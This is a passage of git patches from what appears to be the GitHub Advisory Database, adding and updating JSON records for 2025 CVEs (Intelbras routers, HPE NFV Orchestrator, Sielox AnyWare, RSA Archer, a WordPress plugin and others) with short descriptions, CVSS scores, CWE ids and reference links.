diff --git a/advisories/unreviewed/2025/07/GHSA-r8fm-999q-9fw9/GHSA-r8fm-999q-9fw9.json b/advisories/unreviewed/2025/07/GHSA-r8fm-999q-9fw9/GHSA-r8fm-999q-9fw9.json
new file mode 100644
index 0000000000000..d51df3f7b3fcb
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-r8fm-999q-9fw9/GHSA-r8fm-999q-9fw9.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-r8fm-999q-9fw9",
+ "modified": "2025-07-31T21:31:53Z",
+ "published": "2025-07-31T21:31:53Z",
+ "aliases": [
+ "CVE-2025-37112"
+ ],
+ "details": "A vulnerability was discovered in the storage policy for certain sets of encryption keys in the HPE Telco Network Function Virtual Orchestrator. Successful Exploitation could lead to unauthorized parties gaining access to sensitive system information.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37112"
+ },
+ {
+ "type": "WEB",
+ "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04891en_us"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-798"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:32Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-rgc6-fx99-2prh/GHSA-rgc6-fx99-2prh.json b/advisories/unreviewed/2025/07/GHSA-rgc6-fx99-2prh/GHSA-rgc6-fx99-2prh.json
new file mode 100644
index 0000000000000..bae93fb97ba9f
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-rgc6-fx99-2prh/GHSA-rgc6-fx99-2prh.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-rgc6-fx99-2prh",
+ "modified": "2025-07-31T21:31:54Z",
+ "published": "2025-07-31T21:31:54Z",
+ "aliases": [
+ "CVE-2025-37111"
+ ],
+ "details": "A vulnerability was discovered in the storage policy for certain sets of authentication keys in the HPE Telco Network Function Virtual Orchestrator. Successful Exploitation could lead to unauthorized parties gaining access to sensitive system information.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37111"
+ },
+ {
+ "type": "WEB",
+ "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04891en_us"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-798"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:32Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-rq5x-mmcc-mgvx/GHSA-rq5x-mmcc-mgvx.json b/advisories/unreviewed/2025/07/GHSA-rq5x-mmcc-mgvx/GHSA-rq5x-mmcc-mgvx.json
new file mode 100644
index 0000000000000..c18c35bd0c927
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-rq5x-mmcc-mgvx/GHSA-rq5x-mmcc-mgvx.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-rq5x-mmcc-mgvx",
+ "modified": "2025-07-31T21:31:53Z",
+ "published": "2025-07-31T21:31:53Z",
+ "aliases": [
+ "CVE-2025-26064"
+ ],
+ "details": "A cross-site scripting (XSS) vulnerability in Intelbras RX1500 v2.2.9 and RX3000 v1.0.11 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the name of a connnected device.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26064"
+ },
+ {
+ "type": "WEB",
+ "url": "https://manuais.intelbras.com.br/manual-linha-rx/ChangeLogRX1500.html"
+ },
+ {
+ "type": "WEB",
+ "url": "https://manuais.intelbras.com.br/manual-linha-rx/ChangeLogRX3000.html"
+ },
+ {
+ "type": "WEB",
+ "url": "https://seclists.org/fulldisclosure/2025/Jul/14"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T19:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-v78w-vpxh-p52w/GHSA-v78w-vpxh-p52w.json b/advisories/unreviewed/2025/07/GHSA-v78w-vpxh-p52w/GHSA-v78w-vpxh-p52w.json
index 6ff7267f4e2d9..be6613c287499 100644
--- a/advisories/unreviewed/2025/07/GHSA-v78w-vpxh-p52w/GHSA-v78w-vpxh-p52w.json
+++ b/advisories/unreviewed/2025/07/GHSA-v78w-vpxh-p52w/GHSA-v78w-vpxh-p52w.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-v78w-vpxh-p52w",
- "modified": "2025-07-31T15:35:50Z",
+ "modified": "2025-07-31T21:31:49Z",
"published": "2025-07-31T15:35:50Z",
"aliases": [
"CVE-2024-34328"
],
"details": "An open redirect in Sielox AnyWare v2.1.2 allows attackers to execute a man-in-the-middle attack via a crafted URL.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-601"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T15:15:35Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-wc34-p4fh-wr9q/GHSA-wc34-p4fh-wr9q.json b/advisories/unreviewed/2025/07/GHSA-wc34-p4fh-wr9q/GHSA-wc34-p4fh-wr9q.json
new file mode 100644
index 0000000000000..dbb9c37154625
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-wc34-p4fh-wr9q/GHSA-wc34-p4fh-wr9q.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wc34-p4fh-wr9q",
+ "modified": "2025-07-31T21:31:54Z",
+ "published": "2025-07-31T21:31:54Z",
+ "aliases": [
+ "CVE-2025-50572"
+ ],
+ "details": "An issue was discovered in Archer Technology RSA Archer 6.11.00204.10014 allowing attackers to execute arbitrary code via crafted system inputs that would be exported into the CSV and be executed after the user opened the file with compatible applications.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50572"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/shorooq-hummdi/Archer-csv-injection-command-exec/blob/main/README.md"
+ },
+ {
+ "type": "WEB",
+ "url": "http://archer.com"
+ },
+ {
+ "type": "WEB",
+ "url": "http://rsa.com"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1236"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:43Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-wqcc-7crj-3p76/GHSA-wqcc-7crj-3p76.json b/advisories/unreviewed/2025/07/GHSA-wqcc-7crj-3p76/GHSA-wqcc-7crj-3p76.json
index 74e1b95fb8d81..3dd635b340c3e 100644
--- a/advisories/unreviewed/2025/07/GHSA-wqcc-7crj-3p76/GHSA-wqcc-7crj-3p76.json
+++ b/advisories/unreviewed/2025/07/GHSA-wqcc-7crj-3p76/GHSA-wqcc-7crj-3p76.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-wqcc-7crj-3p76",
- "modified": "2025-07-31T18:32:04Z",
+ "modified": "2025-07-31T21:31:53Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2025-51385"
],
"details": "D-LINK DI-8200 16.07.26A1 is vulnerable to Buffer Overflow in the yyxz_dlink_asp function via the id parameter.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "LOW",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T18:15:42Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-wr2x-xq5x-p5vf/GHSA-wr2x-xq5x-p5vf.json b/advisories/unreviewed/2025/07/GHSA-wr2x-xq5x-p5vf/GHSA-wr2x-xq5x-p5vf.json
index 30611575120e2..751c32d8de2c2 100644
--- a/advisories/unreviewed/2025/07/GHSA-wr2x-xq5x-p5vf/GHSA-wr2x-xq5x-p5vf.json
+++ b/advisories/unreviewed/2025/07/GHSA-wr2x-xq5x-p5vf/GHSA-wr2x-xq5x-p5vf.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-wr2x-xq5x-p5vf",
- "modified": "2025-07-31T18:32:04Z",
+ "modified": "2025-07-31T21:31:53Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2024-34327"
],
"details": "Sielox AnyWare v2.1.2 was discovered to contain a SQL injection vulnerability via the email address field of the password reset form.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T17:15:29Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-x7rh-jcrp-8fwf/GHSA-x7rh-jcrp-8fwf.json b/advisories/unreviewed/2025/07/GHSA-x7rh-jcrp-8fwf/GHSA-x7rh-jcrp-8fwf.json
new file mode 100644
index 0000000000000..667cfc235ba3a
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-x7rh-jcrp-8fwf/GHSA-x7rh-jcrp-8fwf.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-x7rh-jcrp-8fwf",
+ "modified": "2025-07-31T21:31:53Z",
+ "published": "2025-07-31T21:31:53Z",
+ "aliases": [
+ "CVE-2025-26062"
+ ],
+ "details": "An access control issue in Intelbras RX1500 v2.2.9 and RX3000 v1.0.11 allows unauthenticated attackers to access the router's settings file and obtain potentially sensitive information from the current settings.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26062"
+ },
+ {
+ "type": "WEB",
+ "url": "https://manuais.intelbras.com.br/manual-linha-rx/ChangeLogRX1500.html"
+ },
+ {
+ "type": "WEB",
+ "url": "https://manuais.intelbras.com.br/manual-linha-rx/ChangeLogRX3000.html"
+ },
+ {
+ "type": "WEB",
+ "url": "https://seclists.org/fulldisclosure/2025/Jul/14"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T19:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-xpf8-484v-j9w6/GHSA-xpf8-484v-j9w6.json b/advisories/unreviewed/2025/07/GHSA-xpf8-484v-j9w6/GHSA-xpf8-484v-j9w6.json
new file mode 100644
index 0000000000000..e10606de7fdac
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-xpf8-484v-j9w6/GHSA-xpf8-484v-j9w6.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xpf8-484v-j9w6",
+ "modified": "2025-07-31T21:31:54Z",
+ "published": "2025-07-31T21:31:54Z",
+ "aliases": [
+ "CVE-2025-45768"
+ ],
+ "details": "pyjwt v2.10.1 was discovered to contain weak encryption.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45768"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/ZupeiNie/6f65e564f2067b876321d3dfdbb76569"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/jpadilla"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/jpadilla/pyjwt"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-311"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T21:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-xxcm-4v4p-f9rr/GHSA-xxcm-4v4p-f9rr.json b/advisories/unreviewed/2025/07/GHSA-xxcm-4v4p-f9rr/GHSA-xxcm-4v4p-f9rr.json
new file mode 100644
index 0000000000000..91acf7bc2984d
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-xxcm-4v4p-f9rr/GHSA-xxcm-4v4p-f9rr.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xxcm-4v4p-f9rr",
+ "modified": "2025-07-31T21:31:54Z",
+ "published": "2025-07-31T21:31:54Z",
+ "aliases": [
+ "CVE-2025-37110"
+ ],
+ "details": "A vulnerability was discovered in the storage policy for certain sets of sensitive credential information in the HPE Telco Network Function Virtual Orchestrator. Successful Exploitation could lead to unauthorized parties gaining access to sensitive system information.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37110"
+ },
+ {
+ "type": "WEB",
+ "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04891en_us"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-922"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:32Z"
+ }
+}
\ No newline at end of file
From bb6dfcc89b22499dcc43fce948f88ea67cdaafbb Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 03:32:51 +0000
Subject: [PATCH 288/323] Publish Advisories
GHSA-v8vq-83qq-j3vx
GHSA-8qcm-792h-prf3
GHSA-9gfp-jgv5-pg6f
---
.../GHSA-v8vq-83qq-j3vx.json | 2 +-
.../GHSA-8qcm-792h-prf3.json | 40 +++++++++++++
.../GHSA-9gfp-jgv5-pg6f.json | 56 +++++++++++++++++++
3 files changed, 97 insertions(+), 1 deletion(-)
create mode 100644 advisories/unreviewed/2025/08/GHSA-8qcm-792h-prf3/GHSA-8qcm-792h-prf3.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-9gfp-jgv5-pg6f/GHSA-9gfp-jgv5-pg6f.json
diff --git a/advisories/unreviewed/2023/07/GHSA-v8vq-83qq-j3vx/GHSA-v8vq-83qq-j3vx.json b/advisories/unreviewed/2023/07/GHSA-v8vq-83qq-j3vx/GHSA-v8vq-83qq-j3vx.json
index 36a4e9507bf91..5afac8a1860c9 100644
--- a/advisories/unreviewed/2023/07/GHSA-v8vq-83qq-j3vx/GHSA-v8vq-83qq-j3vx.json
+++ b/advisories/unreviewed/2023/07/GHSA-v8vq-83qq-j3vx/GHSA-v8vq-83qq-j3vx.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-v8vq-83qq-j3vx",
- "modified": "2024-04-04T05:55:31Z",
+ "modified": "2025-08-01T03:31:11Z",
"published": "2023-07-11T12:30:35Z",
"aliases": [
"CVE-2023-36390"
diff --git a/advisories/unreviewed/2025/08/GHSA-8qcm-792h-prf3/GHSA-8qcm-792h-prf3.json b/advisories/unreviewed/2025/08/GHSA-8qcm-792h-prf3/GHSA-8qcm-792h-prf3.json
new file mode 100644
index 0000000000000..f639a2cbbc00e
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8qcm-792h-prf3/GHSA-8qcm-792h-prf3.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8qcm-792h-prf3",
+ "modified": "2025-08-01T03:31:15Z",
+ "published": "2025-08-01T03:31:15Z",
+ "aliases": [
+ "CVE-2025-5954"
+ ],
+ "details": "The Service Finder SMS System plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 2.0.0. This is due to the plugin not restricting user role selection at the time of registration through the aonesms_fn_savedata_after_signup() function. This makes it possible for unauthenticated attackers to register as an administrator user.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5954"
+ },
+ {
+ "type": "WEB",
+ "url": "https://themeforest.net/item/service-finder-service-and-business-listing-wordpress-theme/15208793"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/520c1e8b-d0c1-4201-90bf-0cefab9af7e0?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-269"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T03:15:24Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-9gfp-jgv5-pg6f/GHSA-9gfp-jgv5-pg6f.json b/advisories/unreviewed/2025/08/GHSA-9gfp-jgv5-pg6f/GHSA-9gfp-jgv5-pg6f.json
new file mode 100644
index 0000000000000..d8257bc4c1bdd
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-9gfp-jgv5-pg6f/GHSA-9gfp-jgv5-pg6f.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-9gfp-jgv5-pg6f",
+ "modified": "2025-08-01T03:31:15Z",
+ "published": "2025-08-01T03:31:15Z",
+ "aliases": [
+ "CVE-2025-8431"
+ ],
+ "details": "A vulnerability has been found in PHPGurukul Boat Booking System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/add-boat.php. The manipulation of the argument boatname leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8431"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/shiqumeng/myCVE/issues/3"
+ },
+ {
+ "type": "WEB",
+ "url": "https://phpgurukul.com"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318460"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318460"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625262"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T02:15:25Z"
+ }
+}
\ No newline at end of file
From c9ee0a6aaf5cad6f3859bec17393629a37598e02 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 06:33:46 +0000
Subject: [PATCH 289/323] Advisory Database Sync
---
.../GHSA-3pf7-72q3-3vg2.json | 56 +++++++++++++++++++
.../GHSA-4829-xxxr-9f4f.json | 48 ++++++++++++++++
.../GHSA-5gj2-4cr8-42fj.json | 25 +++++++++
.../GHSA-5wwq-32rw-q57q.json | 25 +++++++++
.../GHSA-77fc-r534-vggp.json | 29 ++++++++++
.../GHSA-839r-7hhg-xhqr.json | 40 +++++++++++++
.../GHSA-92q8-hhvh-7wgw.json | 25 +++++++++
.../GHSA-953m-q75r-54mh.json | 44 +++++++++++++++
.../GHSA-9m93-62q8-9jmx.json | 48 ++++++++++++++++
.../GHSA-c3q9-524g-cc66.json | 25 +++++++++
.../GHSA-c85j-rwrh-2gg7.json | 25 +++++++++
.../GHSA-cx49-pj9h-5v3x.json | 25 +++++++++
.../GHSA-gjwj-2jpg-rvfj.json | 56 +++++++++++++++++++
.../GHSA-hvx5-p2cq-7pwr.json | 52 +++++++++++++++++
.../GHSA-j35f-m58q-8w24.json | 25 +++++++++
.../GHSA-m9c2-6frp-5rqq.json | 40 +++++++++++++
.../GHSA-mw9f-f52p-chpp.json | 29 ++++++++++
.../GHSA-p8qf-v424-747v.json | 25 +++++++++
.../GHSA-vg7v-jh28-wqc4.json | 52 +++++++++++++++++
.../GHSA-w385-9f6g-63qc.json | 34 +++++++++++
.../GHSA-w653-5cx5-9pff.json | 44 +++++++++++++++
.../GHSA-wjw2-c8pq-fw6m.json | 52 +++++++++++++++++
.../GHSA-wwp4-g977-j8h6.json | 25 +++++++++
.../GHSA-x2xx-4qhp-2vqx.json | 40 +++++++++++++
.../GHSA-xvq8-f2vm-qf3p.json | 25 +++++++++
25 files changed, 914 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-3pf7-72q3-3vg2/GHSA-3pf7-72q3-3vg2.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-4829-xxxr-9f4f/GHSA-4829-xxxr-9f4f.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-5gj2-4cr8-42fj/GHSA-5gj2-4cr8-42fj.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-5wwq-32rw-q57q/GHSA-5wwq-32rw-q57q.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-77fc-r534-vggp/GHSA-77fc-r534-vggp.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-839r-7hhg-xhqr/GHSA-839r-7hhg-xhqr.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-92q8-hhvh-7wgw/GHSA-92q8-hhvh-7wgw.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-953m-q75r-54mh/GHSA-953m-q75r-54mh.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-9m93-62q8-9jmx/GHSA-9m93-62q8-9jmx.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-c3q9-524g-cc66/GHSA-c3q9-524g-cc66.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-c85j-rwrh-2gg7/GHSA-c85j-rwrh-2gg7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-cx49-pj9h-5v3x/GHSA-cx49-pj9h-5v3x.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-gjwj-2jpg-rvfj/GHSA-gjwj-2jpg-rvfj.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-hvx5-p2cq-7pwr/GHSA-hvx5-p2cq-7pwr.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-j35f-m58q-8w24/GHSA-j35f-m58q-8w24.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-m9c2-6frp-5rqq/GHSA-m9c2-6frp-5rqq.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mw9f-f52p-chpp/GHSA-mw9f-f52p-chpp.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-p8qf-v424-747v/GHSA-p8qf-v424-747v.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-vg7v-jh28-wqc4/GHSA-vg7v-jh28-wqc4.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-w385-9f6g-63qc/GHSA-w385-9f6g-63qc.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-w653-5cx5-9pff/GHSA-w653-5cx5-9pff.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-wjw2-c8pq-fw6m/GHSA-wjw2-c8pq-fw6m.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-wwp4-g977-j8h6/GHSA-wwp4-g977-j8h6.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-x2xx-4qhp-2vqx/GHSA-x2xx-4qhp-2vqx.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xvq8-f2vm-qf3p/GHSA-xvq8-f2vm-qf3p.json
diff --git a/advisories/unreviewed/2025/08/GHSA-3pf7-72q3-3vg2/GHSA-3pf7-72q3-3vg2.json b/advisories/unreviewed/2025/08/GHSA-3pf7-72q3-3vg2/GHSA-3pf7-72q3-3vg2.json
new file mode 100644
index 0000000000000..8dfa4a22afb28
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-3pf7-72q3-3vg2/GHSA-3pf7-72q3-3vg2.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-3pf7-72q3-3vg2",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-8434"
+ ],
+ "details": "A vulnerability was found in code-projects Online Movie Streaming 1.0. It has been classified as critical. Affected is an unknown function of the file /admin.php. The manipulation of the argument ID leads to missing authorization. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8434"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/i-Corner/cve/issues/15"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318462"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318462"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625534"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-862"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:22Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-4829-xxxr-9f4f/GHSA-4829-xxxr-9f4f.json b/advisories/unreviewed/2025/08/GHSA-4829-xxxr-9f4f/GHSA-4829-xxxr-9f4f.json
new file mode 100644
index 0000000000000..a492b1aa529c7
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-4829-xxxr-9f4f/GHSA-4829-xxxr-9f4f.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-4829-xxxr-9f4f",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-7845"
+ ],
